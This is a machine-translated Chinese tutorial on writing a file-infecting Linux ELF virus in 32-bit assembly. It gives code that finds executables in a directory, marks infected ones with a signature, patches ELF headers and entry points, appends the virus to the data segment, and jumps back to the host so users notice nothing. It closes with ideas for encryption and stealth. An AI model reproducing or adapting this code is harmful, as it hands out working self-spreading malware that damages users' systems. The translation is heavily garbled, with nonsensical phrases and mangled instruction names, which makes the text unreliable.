如何使用汇编语言编写一个病毒

健康状况如何缀编语言缀编语言中病毒的缀编

引语

病毒辨认出的行业如同曾经消逝了。。人们不破旧的歹意软件。,木马计,蠕虫等产生病毒。。你可以专心致志什么温和的的手稿挨次语言去作曲那渣滓挨次同时拍着自身的倒退嘚瑟一下,但这一点也没有克不及让你产生病毒作者。。作曲计算机病毒并未必是你查看的受到严重损伤的人。,这也发动你的病毒使遗传的搜索和制止被检测到的音阶。,它也比防病毒软件公司更光辉。。它是险乎举行就职典礼和创作能力的。。计算机病毒在很多同意就像纸质小船等擦着水面疾驶。。你必需品用光辉和创造力的办法折痕小船等擦着水面疾驶。,并尝试使它在不可制止的着陆前尽量久长的飞过。在万维网在前,使遗传病毒是东西应战。。时运好的话,它会传染除你那一边的什么电脑。。结果时运更,你的病毒将与捕鲸病毒或Michelangelo viru有异样的荣誉。。

结果你想被招待病毒作者,你必须做的事利润大概的荣誉。。地铁黑客安排,黑客/黑客/轰炸机,我最面子的是病毒作者。。由于没某人能做到。,这真的能公开宣称他比人民更深。、体系和软件知。你不克不及有前途产生东西简略的病毒作曲家遵照例行的。。作曲东西真正的病毒必需品比普通黑客更多的行业。。积年接近末期的,我没能作曲东西运转良好的二元系用纸掩蔽来传染病毒。。不断地误解的。、报错、报错。这是一件参加中间凹下的的事实。。因而我督促写暴突或变大。、金衡制炸弹和ANSI炸弹。我督促写BBS缺点。,还可以有加无已图像游玩软件打击版权举行辩护。。每到依我看我的缀编技术终极就十足了。,当尝试写病毒时,,倒闭再次结果是在我的脸上。。我花了好几年的工夫才写出了东西真正可加工的的病毒。。这执意为什么我被病毒迷住了,想找出稍许的真正的病毒。。在瑞安“elfmaster”奥尼尔演义的书《认识到Linux二元系挨次剖析》中,他转位:

这是东西超越例行的行动例行的的专攻应战定约雇用。,它想要开发人员跳出引渡模仿。,捣蛋代码、消息和一带使它在一种音阶上表现出现。,当与AV防病毒软件开发人员通信器时,令我吓一跳的是,,他们附和没某人对健康状况如何有加无已病毒有什么构想。,更不消说设计什么真正的探究法来认可它们(要做错署名)。实则,病毒辨认出是例外的困难的的。,必需品规范枯燥的的行业。。

缀编语言缀编语言中病毒的缀编

病毒是一门行业。。缀编和C(不专心致志代码库)将是你的画笔。。当今的,我会帮忙你们处置我面临面对的稍许的应战。。开端吧。,看一眼你无论有产生行业家的潜力。!

在不同的我先前的源代码传染病毒跑过。,这是东西更上进和负有应战性的亲身参与/专心致志(拨款是E)。。结果却,我鼓舞你尽量多地视野和吸取。。

让人们先来塑造一下我的构想。、真正的病毒本应具有稍许的特点。:

病毒会传染二元系可履行用纸掩蔽。

——病毒代码必须做的事是孤独的,它与中止用纸掩蔽无干。、代码库、挨次等。

受传染的主人用纸掩蔽可以持续履行和使调动病毒。

病毒像成虫两者都不受到严重损伤的人当主人用纸掩蔽。。传染的当主人本应持续表现,仿佛它们被传染了两者都。

由于人们想传染二元系可履行用纸掩蔽。,因而,短文绍介了不同的的可履行典型。。

  • ELF-(可履行和关系的用纸掩蔽格式)Unix和类Unix体系规范的的二元系用纸掩蔽格式。这同样很多遥控器。,游玩玩家(游玩站),任天堂)附加的人。。
  • machinery 机器o -(machinery 机器物体)是NeXTSTEP,macOS,IOS等,二元系可履行用纸掩蔽格式专心致志,你究竟是在专心致志它。,由于承认苹果遥控器都在嗨。。
  • 32位和64位微软举动的PE(可搬迁可履行挨次)
  • MZ(DOS) DOS支援的可履行用纸掩蔽格式…承认微软32和以下举动体系被专心致志。
  • COM(DOS) DOS支援的可履行用纸掩蔽格式…承认微体系在32和以下举动体系下运转。

有很多微软病毒跑过。,结果却ELF病毒如同更具应战性,同时跑过微少。,因而我最眷注的是32个ELF定约雇用的传染。。

依我看审稿人至多有一种引渡的从事流行。。结果缺少,我提议你视野我先前的视频博客文字。:

Stupid Simple Computer Virus in 3 Lines of Code

How to Create a Computer Virus

How to Make a Simple Computer Virus with Python

首要的步是找到要被传染的用纸掩蔽。。DOS下订单集轻易地找到用纸掩蔽。。AH:4Eh INT 21下订单可以本着详述的的用纸掩蔽找到第东西婚配用纸掩蔽。,和啊:4FH INT 21,你可以找到下东西婚配用纸掩蔽。。三灾八难的是,对人们来说,事实不能胜任的即将到来的简略。。专心致志Linux挨次集检索用纸掩蔽列表,这做错很多互插的用纸掩蔽。。多数的各自的回复中人们碰见它依赖于POSIX体系的readdir()重大聚会。但人们是黑客。,弥撒书的章节的?让人们做黑客本应做什么来成功它。。你本应熟识的器是Strues。。跑步机 ls,当运转ls命令时,人们查看,体系让与和发信号前面的。

AH:4Eh INT 21下订单

你感兴趣的电话系统是GET。。因而下一步是找寻Geress。。这会给人们某个当心事项。,人们本应健康状况如何专心致志它,而且健康状况如何利润编目录的列表。。这执意我碰见的。:

  1. 电动摩托车, 5      ; sys_open 
  2. MOV EBX,用纸掩蔽夹;编目录名。
  3. MOV ECX, 0 
  4. MOV-EDX, 0 
  5.     int 80h 
  6. 两人间的关系机械抛光,0、反省EAX说得中肯FD无论为>0(ok)
  7. JBE误解;无法翻开用纸掩蔽,误解抛弃
  8. MOV EBX, eax     
  9.     电动摩托车, 0xdc   ; sys_getdents64  
  10. MOV ECX, buffer  
  11. MOV-EDX, len  
  12.     int 80h  
  13.     电动摩托车,6;关店
  14.     int 80h 

如今,编目录的情节曾经在人们详述的缓冲剂中。,人们必须做的事剖析它。。出于一种思考,关于每个用纸掩蔽名,如同缺少分歧的偏移量。,但或许我错了。。但我只对那原始的字母行决定感兴趣。。我所做的是印记缓冲剂到规范输入。,那时将其禁猎到另东西用纸掩蔽。,那时专心致志十六二元系编辑者翻开它。。我碰见每东西用纸掩蔽名都有东西前缀。,前缀由十六点二元系值0x00(NULL)结合,前面是东西六重奏。。用纸掩蔽名由NULL终止妊娠(后缀是十六二元系0x00)。

  1. find_filename_start: 
  2. 在用纸掩蔽名开端在前查找序列0008。
  3. 添加EDI, 1 
  4. CMP EDI, len  
  5. 杰吉德
  6. CMP八位位组[干杯中的满杯 EDI], 0x00  
  7.     jnz find_filename_start  
  8. 添加EDI, 1 
  9. CMP八位位组[干杯中的满杯 EDI], 0x08  
  10.     jnz find_filename_start  
  11. 异或ECX,ECX空。,它将作为用纸掩蔽被否认的。
  12. find_filename_end: 
  13. 排空ECX,它将作为用纸掩蔽被否认的。
  14. 添加EDI, 1  
  15. CMP EDI, len     
  16. 杰吉德
  17. 鼹鼠BL,[缓冲剂 EDI];从缓冲剂换衣服用纸掩蔽名使相称。
  18.     mov [file+ecx], bl  
  19.     inc ecx                 ; 累积而成禁猎在ecx的偏移量 
  20. CMP八位位组[干杯中的满杯 EDI],0x00;表现用纸掩蔽名的终止。
  21.     jnz find_filename_end 
  22. MOV八位位组[用纸掩蔽 ECX ],0x00;在嗨,人们利润用纸掩蔽的决定。,在它的尾翼上加东西0x00。
  23. 对为了用纸掩蔽做稍许的举动。
  24.     jmp find_filename_start ; 找下东西用纸掩蔽 

其实有更的办法来做这些事实。。您必需品做的是婚配编目录条任务八位位组作曲。:

  1. struct linux_dirent { 
  2.                unsigned long  d_ino;     /* Inode number */ 
  3.                unsigned long  d_off;      /* 下东西linux_dirent的偏移 */ 
  4.                unsigned short d_reclen;  /* 为了linux_dirent的按变得越来越大排列 */ 
  5.                char           d_name[];  /* 用纸掩蔽名 (null终止) */ 
  6.                                  /* length is actually (d_reclen - 2 - 
  7.                                     offsetof(struct linux_dirent, d_name)) */ 
  8.                /* 
  9.                char           pad;       // Zero padding byte 
  10.                char           d_type;    // File type (only since Linux 
  11.                                          // ); offset is (d_reclen - 1) 
  12.                */ 
  13.            } 
  14. struct linux_dirent64 { 
  15.                ino64_t        d_ino;    /* 64位inode number */ 
  16.                off64_t        d_off;    /* 64位下个structure的偏移 */ 
  17.                unsigned short d_reclen; /* 为了dirent的按变得越来越大排列 */ 
  18.                unsigned char  d_type;   /* 用纸掩蔽典型 */ 
  19.                char           d_name[]; /*用纸掩蔽名 (null终止) */ 
  20.            }; 

但我专心致志的是我碰见的模仿。,它不专心致志作曲说得中肯偏移量。。

下一步是反省用纸掩蔽。,看一眼无论:

这是东西ELF可履行用纸掩蔽。

它被传染了吗?

早点儿时辰,我为不同的的举动引入了不同的典型的可履行用纸掩蔽。。这些用纸掩蔽典型在它们的用纸掩蔽头上有不同的的手势。。比如,ELF用纸掩蔽不断地来自某处7F45 4c46开端。45-4c-46是ASCII字母E-L-F的施魔法表现。

结果转储Windows可履行用纸掩蔽,则有十六点二元系消息,你会查看它从4D5A开端。,代表字母Z。

十六二元系转储OSX可履行用纸掩蔽显示称捣碎八位位组CEFA。 EDFE,这同样东西小的饲料。 FACE”。

在嗨你可以查看更多的可履行用纸掩蔽格式和它们各自的捣碎。:

0edd1e00

在我的病毒里,据我看来把我的捣碎写在ELF用纸掩蔽第九的头上 – 12八位位组在未专心致志的某方面。这是个好某方面。,它可以用来往事东西双字0EDD1E00-我的名字。。

我必需品为了来捣碎我传染的用纸掩蔽。,因而,我不能胜任的再次传染受传染的用纸掩蔽。。另外,传染用纸掩蔽的按变得越来越大排列将越来越大,如SoNB。,初次碰见了耶路撒冷病毒。。

简略地读取前12个八位位组。,人们能确保用纸掩蔽是东西晴天的传染目的吗?。我情节把每个潜在的目的往事在东西独立的缓冲剂中。,称之为目的。。

如今它开端从事越来越难了。。为了传染ELF用纸掩蔽,你必需品知情使关心ELF用纸掩蔽作曲的最重要的东西。。这是认识到的好根源。:。

不同的简略的COM用纸掩蔽,ELF有稍许的不同的的应战。。简略来说,ELF用纸掩蔽包罗:ELF头,挨次头,节头,命令举动码。

ELF名称牌通知人们险乎挨次头和HEA的要旨。。它还通知人们挨次进入点在内存说得中肯驻扎军队(FI)。

为了行动通知人们。,哪个部分属于发短信段?,哪个部分属于消息段?,也预备了用纸掩蔽说得中肯偏移量。。

该节储备物质了险乎每个节期和他们的部分的要旨。。这可以少量的杂乱。。率先要从事流行的是,东西可履行用纸掩蔽与D不同的。,这些头在这两个同意预备了互插的要旨。。

发短信段是可被读取/履行的代码段。,它象征人们的代码和中止只读消息。。

消息段是可读/写的消息段。,它象征险乎全程变量和静态关系的要旨。。

在发短信段中,有A发短信使相称和A RODATA使相称。。部分消息,有A使相称和BSS使相称。。

结果你熟识缀编语言缀编语言,这些章节决定嘈杂声本应很熟识。。

发短信是代码驻留的某方面。,消息是全程变量设定初值的某方面。。BSS象征未设定初值的全程变量。,由于它缺少设定初值。,因而缺少服务磁盘无信息的。。

不同的PE用纸掩蔽(微软),ELF用纸掩蔽中缺少从一边至另一边的传染区域。。过时DOS、COM用纸掩蔽险乎容许你在什么某方面添加病毒代码,那时在100 为了地址掩蔽了内存代码(由于COM用纸掩蔽不断地在100)。 H的内存地址开端表现。。ELF用纸掩蔽不容许您作曲发短信段。。这些是传染ELF病毒的次要道路。:

受传染发短信段纬纱区

发短信时间的长短的传染尾翼。人们可以应用ELF用纸掩蔽的特点。,当瞄准到内存中,尾翼将专心致志0纬纱到丰富的的内存页中。。内存页长限度局限,因而人们结果却在32位体系中克制东西4。 KB病毒或64位体系说得中肯2位。 MB病毒。可以眼神很小。,但它也足以克制用C或缀编作曲的小病毒。。这一目的的成功是:

修正进入点(ELF头)到发短信使相称的末了。

累积而成表中页的按变得越来越大排列(精灵头)

——累积而成Text段的用纸掩蔽按变得越来越大排列和内存按变得越来越大排列为病毒代码的按变得越来越大排列

在病毒被寄生后遍历每个挨次头。,本着页按变得越来越大排列累积而成有关的的偏移量。

查找发短信段的充分地一节。,累积而成结(头)的按变得越来越大排列

传染后横贯病毒的每一使相称。,本着页按变得越来越大排列累积而成有关的的偏移量。

——在.text节的尾翼拔出实践的病毒代码

——拔出病毒代码后跳跃到原始主人的进入点。履行

发短信时间的长短的反向传染

在容许主人代码的同时,发短信使相称的前段受到传染。。人们将在相反的取向连续的时间的长短时间发短信段。。同属一个时期的Linux体系中容许的最小假装的表现地址为0x100。,这是人们可以反向连续的时间的长短时间发短信段的限度局限按变得越来越大排列。。浅谈64位制,默许发短信段假装的地址通常为0x4000。,在ELF头按变得越来越大排列为RE后来,可以保存0x3FF000的变得越来越大。。浅谈32位制,默许发短信段假装的地址通常为0x08048。,这可以会产生更多的病毒。。成功这一目的的办法是:

——累积而成节表(在ELF头)里的偏移为病毒按变得越来越大排列(对下一内存页外侨值取余)

发短信段挨次头,本按变得越来越大排列的假装的地址(和物理地址)缩减

发短信段挨次头,本着病毒按变得越来越大排列累积而成用纸掩蔽按变得越来越大排列和内存按变得越来越大排列

本着病毒的按变得越来越大排列(再次),遍历每个挨次头的偏移量,将其值累积而成到发短信段外面的。

——修正进入点(在ELF头)到原始的text段假装的地址——病毒的按变得越来越大排列(再次取余)

本着病毒的按变得越来越大排列(再次),累积而成挨次头偏移(在ELF名称牌上)

将病毒实质性拔出发短信段的开动

消息段传染

传染消息段。人们将把病毒代码附加到data段(在.bss节在前)。由于它是消息的一使相称。,人们的病毒代码可以尽量的大,就像人们要求的这么。。消息往事段消息具有R。 + W(读写)动力设置,发短信内存有R。 + X(读取和履行)动力设置。在缺少NX位设置的体系中,比如32位Linux体系。,可以在不更改动力的处境下履行部分消息说得中肯代码。。可是,中止体系想要您在内存段添加可履行捣碎。。

本着病毒的按变得越来越大排列,累积而成头部的偏移量

将进入点(在ELF头)修正为消息段的终止(V)

在消息段挨次头中,本病毒按变得越来越大排列累积而成页按变得越来越大排列和内存按变得越来越大排列

累积而成BSS使相称的偏移量(发动VIR的按变得越来越大排列)

设置消息段的可履行动力位(32位Linux体系)。

将病毒实质性拔出到消息段的末了

——拔出代码,跳跃到原始主人的进入点。

自然,有更多的方法被传染。,但这些都是首要的选择。。以人们为例,将采取上述的第三种办法。。

作曲病毒的另东西次要阻碍的行为或围住是变量。。抱负处境下,人们不情愿兼并.DATA和BSS使相称。。不过,一旦缀编或缀编病毒,无法保障您的病毒前后有同样的事物假装的添加中。。实则,这险乎极长的时间的长短时间不能胜任的产生。,在这种处境下,主人挨次会投错部分。。因而在抱负的处境下,您要求将病毒限度局限在使具有特性的区域。:.text。结果你有编纂亲身参与,你知情这是东西应战。。我将和你分享稍许的巧妙。,它本应使快跑更轻易。。

率先,让人们看一眼.data变量(设定初值)。结果可以的话,硬编码值。或许,拨款我有我的.ASM代码。:

  1. 部件消息
  2. 用纸掩蔽夹DB。, 0 
  3. 伦2048
  4. 丝裂霉素32
  5.     elfheader dd 0x464c457f     ; 0x7f454c46 ->反向八位位组挨次
  6.     signature dd 0x001edd0e     ; 0x0edd1e00 颠倒的八位位组序后的署名 
  7. BSS
  8.     filename: resb filenamelen  ; 目的用纸掩蔽方法和资源 
  9.     buffer: resb len            ; 承认的用纸掩蔽名 
  10.     targets: resb len           ; 目的用纸掩蔽名 
  11.     targetfile: resb len        ; 目的用纸掩蔽情节 
  12. 发短信使相称
  13.     global v1_start 
  14. v1_start: 
  15. 你可以大概做: 
  16. 呼叫署名
  17.     dd 0x001edd0e     ; 0x0edd1e00颠倒的八位位组序后的署名 
  18. signature: 
  19. POP ECX;如今它的代价在ECX。

人们正专心致志的是,让与让与下订单时,呼叫的水流下订单的相对地址将被按下。。

因而,人们可以经过每个消息段说得中肯变量来处置为了成绩。。

险乎BSS使相称说得中肯变量(未设定初值),人们必需品往事一定数量的八位位组消息。。人们在.text节里大概做由于它属于Text代码段,其属性捣碎为R。 + X(读取和履行),在该内存段中研究消息是不容许的。。因而我决定专心致志堆栈。。栈?是的,一旦人们将八位位组压入栈中,人们可以查看堆栈支持并保存这些称捣碎。。上面是我的处置方案的东西围住。:

  1. 为未设定初值变量翻开堆栈存储无信息的以制止专心致志
  2. MOV ECX,2328;设置在周围计数2328。x4=9312八位位组)。用纸掩蔽名(ESP), buffer (esp+32), targets (esp+1056), targetfile (esp+2080) 
  3. loop_bss: 
  4.     push 0x00       ; 压入4个八位位组(双字)的0 
  5. 子ECX,1;减一。
  6. 两人间的关系机械抛光ECX, 0 
  7.     jbe loop_bss 
  8. MOV EDI,ESP;ESP具某人们破旧的伪造的BSS偏移量。。让人们把它往事在EDI中。。 

当心,我曾经按下0x00八位位组(按32双压机),有把握地被期望表达的按变得越来越大排列。。有把握地说,人们挤了2328下。。这将给人们大概9312八位位组的无信息的专心致志。。一旦我流行承认0八位位组栈,往事ESP的值(即,人们的堆栈支持),并把它作为人们艰苦干成的BSS的根底。。我可以援用ESP。 接见不同的的变量。在我的围住中,我禁猎的[ESP]对应于用纸掩蔽名。,科特雷耳电集尘器 + 32)对应于干杯中的满杯。,科特雷耳电集尘器 + 1056)对应于目的。,而且科特雷耳电集尘器 + 2080]对应targetfile。

如今我可以完整用力打.DATA和.BSS使相称的专心致志。,整个的病毒由独特的的发短信使相称挈带。!

Read是东西例外的使对某人有利的器。。运转readelf A[用纸掩蔽]将预备ELF头/挨次头/头的稍许的特殊性。:

嗨有三个使相称。:.text、.data、.bss

text节

在嗨,人们消要做错BSS使相称。:

消要做错.bss节

在嗨,人们曾经完整消要做错消息段。。人们可以专心致志.text使相称孤独地流行承认的事实。!

完整消要做错.data段

如今人们必需品从主人用纸掩蔽读取八位位组消息到缓冲剂。,对头部举行必需品的修正。,入轨病毒手势物。。结果您曾经流行了编目录入口处作曲的作业,这对你有利益。。另外,人们将不得不读取东西八位位组到东西八位位组的用纸掩蔽。,直到体系读取EAX的0重新提起。 X00的呼叫,这标明人们曾经完成了EOF。:

  1. reading_loop: 
  2.     电动摩托车, 3              ; sys_read 
  3. MOV-EDX,1;一次读取东西八位位组(是),我知情这可以是最好的。
  4.     int 80h  
  5. 两人间的关系机械抛光,0;结果重新提起0,人们读了使关心EOF的文字。
  6.     je reading_eof 
  7.     电动摩托车, edi  
  8. 添加EAX, 9312          ; 2080 + 7232 (2080 targetfile在人们伪造 .bss的偏移) 
  9. 两人间的关系机械抛光ECX,结果用纸掩蔽超越7232八位位组, 抛弃 
  10. JGE传染
  11. 添加ECX, 1 
  12.     jmp reading_loop 
  13. reading_eof: 
  14.     push ecx                ;禁猎充分地读取的东西八位位组的地址,人们接近末期的必需品。
  15.     电动摩托车,6;关店用纸掩蔽。
  16.     int 80h 

修正缓冲剂例外的简略。。铭记不忘,当踏过什么八位位组时,必须做的事处置反向八位位组挨次(小八位位组)。。

嗨人们增加病毒捣碎并转变进入点点人们在消息段尾翼的病毒代码。(内存中未被用纸掩蔽按变得越来越大排列掩蔽的BSS服务的无信息的):

  1. MOV EBX, dword [edi+2080+eax+8]     ; phdr->Vaddr(内存假装的地址)
  2. 添加EBX,新的进入点= PHDR [消息]>VADDR P[消息]>filesz 
  3. MOV ECX, 0x001edd0e     ; 在8八位位组处拔出人们的手势(ELF头缺少用到的节) 
  4. mov [edi+2080+8], ecx 
  5. mov [edi+2080+24],用病毒(缓冲剂)掩蔽旧的进入点

当心到据我看来往事0xedd1e00(用施魔法特点作曲的我的名字)的病毒捣碎,结果却反向八位位组挨次预备了0x01ED00E。。

你也会当心到,我专心致志摇动算法找到栈的装底区域指导T。

如今人们必需品面向消息挨次并举行稍许的修正。。技巧是率先找到PTHLoad典型。,那时决定偏移做错0吗?。结果偏移量为0,它是东西发短信挨次头。。另外,这是消息。。

  1. section_header_loop: 
  2. BSS部件经过节头(NoBIT)的在周围搜索
  3.    
  4. 0 SyName象征点详述的节的决定字母行的支持。
  5. 4 SHI-型详述的部件典型〔节名〕
  6. 8个手势中止手势
  7. 假装的地址
  8. 10用纸掩蔽偏移量的SH偏移使相称
  9.     ;+14    sh_size zara white phone numba 
  10. 18爆裂关系的SHILLink
  11. 1C SHIFIN本着部件典型
  12. 20方位外侨
  13.     ;+24    sh_entsize  当节象征使坚固或稳固按变得越来越大排列的进入时被专心致志 
  14. 添加斧, word [edi+2080+46] 
  15. 两人间的关系机械抛光ECX, 0 
  16.     jbe finish_infection        ; 未检出的.bss节。不消担忧。,传染可以流行。
  17. 子ECX,1;减一。
  18.    
  19. MOV EBX, dword [edi+2080+eax+4]     ; shdr->典型(节典型)
  20. CMP EBX, 0x00000008         ; 0x08是 NOBITS,区间BSS转位
  21.     jne section_header_loop     ; 做错.bss节 
  22.    
  23. MOV EBX, dword [edi+2080+eax+12]    ; shdr->内存假装的地址
  24.     添加EBX, v_stop - v_start   ; 累积而成人们病毒的按变得越来越大排列给 shdr->addr 
  25.     添加EBX,7;为了跳到根源。
  26.     mov [edi+2080+eax+12],专心致志新的旧SHDR掩蔽。>(缓冲剂)
  27.    
  28. MOV-EDX, dword [edi+2080+eax+16]    ; shdr->偏移(节偏移)
  29. 添加EDX, v_stop - v_start   ; 累积而成人们病毒的按变得越来越大排列给shdr->offset 
  30. 添加EDX,7;为了跳到根源。
  31.     mov [edi+2080+eax+16],EDX;专心致志新的旧SHDR掩蔽。>偏移量(在缓冲剂)

人们还必需品修正.bSS名称牌。。人们可以反省mark NOBITS典型来判别这无论是结节头。。杂交扩大的生物体头未必必需品运转可履行用纸掩蔽。。因而结果人们未检出的它,没什么扰乱人心的的。,人们依然可以持续。:

  1. ;dword [edi+2080+24]       ; ehdr->进入(进入点的假装的地址)
  2. ;dword [edi+2080+28]       ; ehdr->Phoff(廉行动头)
  3. ;dword [edi+2080+32]       ; ehdr->Shoff(球形把手偏移)
  4. ;word [edi+2080+40]        ; ehdr->Ehsize(精灵头按变得越来越大排列)
  5. ;word [edi+2080+42]        ; ehdr->PHEnthScript(挨次头的进入按变得越来越大排列)
  6. ;word [edi+2080+44]        ; ehdr->Phnum(挨次大字标题项的数量)
  7. ;word [edi+2080+46]        ; ehdr->Shentsize(头项按变得越来越大排列)
  8. ;word [edi+2080+48]        ; ehdr->Shnum(挨次大字标题项的数量)
  9. 电动摩托车, v_stop - v_start       ; 人们病毒的按变得越来越大排列减去到原始进入点的跳跃 
  10. 添加EAX, 7                      ; 为了到原始进入点的跳跃 
  11. MOV EBX,dWord〔EDI 2080+32〕;以前的协会偏移。
  12. 添加EAX, ebx                    ; 累积而成原始节头偏移 
  13. mov [edi+2080+32],专心致志旧的SHDR掩蔽。>偏移量(在缓冲剂)

那时,自然,人们必需品修正头部偏移量来修正ELF头。,由于人们传染了消息段的终止(在BSS在前)。挨次头拘押在同上的驻扎军队。:

  1. ;dword [edi+2080+24]       ; ehdr->entry (virtual address of entry point) 
  2. ;dword [edi+2080+28]       ; ehdr->PHOFF(挨次头偏移)
  3. ;dword [edi+2080+32]       ; ehdr->SHIFF(节头偏移)
  4. ;word [edi+2080+40]        ; ehdr->EHGE(ELF名称牌变得越来越大)
  5. ;word [edi+2080+42]        ; ehdr->phentsize (size of one program header entry) 
  6. ;word [edi+2080+44]        ; ehdr->phnum (number of program header entries) 
  7. ;word [edi+2080+46]        ; ehdr->shentsize (size of one section header entry) 
  8. ;word [edi+2080+48]        ; ehdr->shnum (number of program header entries) 
  9. 电动摩托车, v_stop - v_start       ; size of our virus minus the jump to original entry point 
  10. 添加EAX, 7                      ; for the jmp to original entry point 
  11. MOV EBX, dword [edi+2080+32]    ; the original section header offset 
  12. 添加EAX, ebx                    ; add the original section header offset 
  13. mov [edi+2080+32], eax      ; overwrite the old section header offset with the new one (in buffer) 

充分地一步是增加病毒的实质性代码。,并流行跳跃下订单重新提起主人代码进入点。,大概人们不知道的用户就会查看主人挨次标准的运转。。

你可以会问自身为了成绩是,病毒健康状况如何上颚突出的自身的代码?病毒是健康状况如何决定自身的按变得越来越大排列呢?这些都是晴天的成绩。率先,我用称捣碎来捣碎病毒的开端和完毕。,那时专心致志简略的算学偏移。:

  1. 发短信使相称
  2.     global v_start 
  3.    
  4. v_start: 
  5. 病毒体开端
  6. ... 
  7. ... 
  8. ... 
  9. ... 
  10. v_stop: 
  11. 病毒体终止
  12.     电动摩托车, 1      ; sys_exit 
  13. MOV EBX,0;标准的情形。
  14.     int 80h 

经过大概做,我可以专心致志VYSTART作为病毒启动时的偏移量。,那时,可以专心致志VYSTOT-VYSTART作为八位位组数(按变得越来越大排列)。。

  1. 电动摩托车, 4 
  2. MOV ECX,VXSTART;附加病毒使相称。
  3. MOV-EDX,VY-START-VYSTART;病毒八位位组按变得越来越大排列
  4. int 80h 

病毒按变得越来越大排列(VY-中止) – 更的计算,结果却在首要的次传染后病毒代码的开动(mov ecx, 援用将倒闭。。实则,对相对地址的什么援用特许市倒闭。,由于不同的主人挨次的内存驻扎军队会产生变异。。在缀编学时计算像VYSTART的称捣碎的相对地址。,这发动它是怎地称号的。。你专心致志的标准的短跳就像JMP。、jne、jnz等都将被交换为相关于水流下订单的偏移,结果却像MOV大概的地址不能胜任的转变。。人们必需品的是希腊语字母表第四字母δ偏移。。Delta偏移量是与水流主人FIL的假装的地址差。。这么健康状况如何利润delta偏移量呢?这有东西我从90年首的DOS病毒跑过“Dark Angel’s Phunky Virus 从导游那边学到的例外的简略的技术。:

  1. call delta_offset 
  2. lta_offset: 
  3. 迅速的传播、生长或发展脑出血
  4. 亚EBP, delta_offset 

在水流驻扎军队让与称捣碎,水流下订单的支持(相对地址)就会被压入栈以便利你可以知情你RET重新提起到哪里。人们结果却从堆栈中获取为了值,那时利润点水流INS的支持。。那时从CurrE中减去原始病毒的相对地址。,人们在EBP利润了希腊语字母表第四字母δ偏移。!在原始病毒的履行快跑中,δ偏移量为0。。

你会当心到,为了制止稍许的阻碍的行为或围住,人们不盈利系统叫电话系统。,反之亦然。我提议你不要在为了定约雇用在远处即将到来的做。,由于很明显。,走慢呼叫/ RET对将领到机能破财。…但这一点也没有标准的。。

如今人们有delta偏移量。,让人们把VYSTART的援用交换成delta偏移版本。:

  1. 电动摩托车, 4 
  2. 莱卡, [ebp + v_start]    ; 附加病毒使相称 (用delta偏移计算) 
  3. MOV-EDX,病毒消息按变得越来越大排列
  4. int 80h 

请当心,我缺少在病毒中象征体系抛弃让与。。这是由于我不要求病毒在履行主人在前抛弃。。相反,我用跳跃到原始主人的代码交换这使相称。。由于不同的主人挨次的进入点是不同的的。,我必需品静态地扩大它,那时我将直的拔出敞开的。。为了找出举动码,您必须做的事率先理解JMP下订单自身的特点。。JMP下订单将尝试经过计算。人们必须做的事委托它相对的位置。。我经过缀编东西小挨次外面的JMP短跳跃和JMP远跳跃算出了它们的施魔法举动码。JMP 举动代码从E9反而FF。

  1. MOV EBX, 0x08048080 
  2. JMP EBX
  3. jmp 0x08048080 

装配后,我运转XXD,那时反省八位位组消息,知情健康状况如何把它翻译成。

“xxd”那时反省八位位组消息就知情健康状况如何将它翻译成举动码

  1. pop edx                 ; 当主人挨次的原始进入点 
  2. MOV[EDI], byte 0xb8        ; MOV EAX的举动码 (1 byte) 
  3. mov [edi+1],原始进入点(4八位位组)
  4. mov [edi+5], word 0xe0ff    ; JMP EAX举动码 (2 bytes) 

MOV双表达EAX充分地表现为B8。 xx xx xx xx。JMP到表达EAX中往事的地址充分地表现为FF。 E0

总恳谈7个额定的八位位组被添加到病毒的终止。。这也说明,人们修正的每个偏移量和用纸掩蔽按变得越来越大排列必须做的事加到为了额定的7八位位组中。。

因而我的病毒转变了缓冲剂的头部(而做错用纸掩蔽),那时用修正的缓冲剂掩蔽当主人用纸掩蔽直到人们病毒代码驻留的偏移驻扎军队。那时拔出自身(VSTART),持续研究缓冲八位位组的等等的人或物使相称。,充分地,将控制权转变到原始主人用纸掩蔽。。

一旦我缀编病毒,据我看来手工生产添加病毒捣碎在第八日八位位组的病毒。。在我的处境下,这可以做错必需品的。,由于我的病毒会障碍目的结果它缺少东西DATA段的话,但处境并非不断地一概如此。。翻开你想要的十六场地编辑者并添加这些八位位组。!

如今人们流行了。,让人们缀编和尺寸它。:nasm -f elf -F dwarf -g virus.asm && ld -m elf_i386 -e v_start -o virus.o

我录制了时间的长短尺寸图像。。我嘈杂声少量的缺少热心。,结果却由于更深漏残了。,实则,我兴高采烈。。

既然你曾经看完了,嗨是我从一边至另一边评论病毒代码的关系。:

这是一种例外的简略的ELF传染病毒。。它也可以经过例外的简略的核算来改善。:

从ELF名称牌捡起更多要旨(32或64位)、可履行用纸掩蔽等。

在目的用纸掩蔽缓冲剂后分派用纸掩蔽缓冲剂。为什么?由于当人们流行targetfile缓冲剂时就不再专心致志用纸掩蔽缓冲剂了,人们可以淹没用纸掩蔽缓冲剂以流行更大的目的用纸掩蔽缓冲剂。。

遍历编目录,它也可以经过稍许的有点儿复杂的核算来改善。:

有点儿掩蔽人们的轨道和更的隐形。

——编密码!

——转变特点

专心致志更困难的的检测办法传染

好了,这执意你的整个谣言。。

总结

经过视野这篇文字,我要求你也可以流行稍许的险乎探试法病毒检测知(而不必需品搜索使具有特性病毒特点)。或许这将是另一天的主旋律。。或许我会绍介OSX病毒。…或许我会做稍许的好事,陈列东西诺迪斯病毒。。

[编辑者的提议]

【责任编辑者:

它激怒的

TEL:(010)68476606】

点赞 0

发表评论

电子邮件地址不会被公开。 必填项已用*标注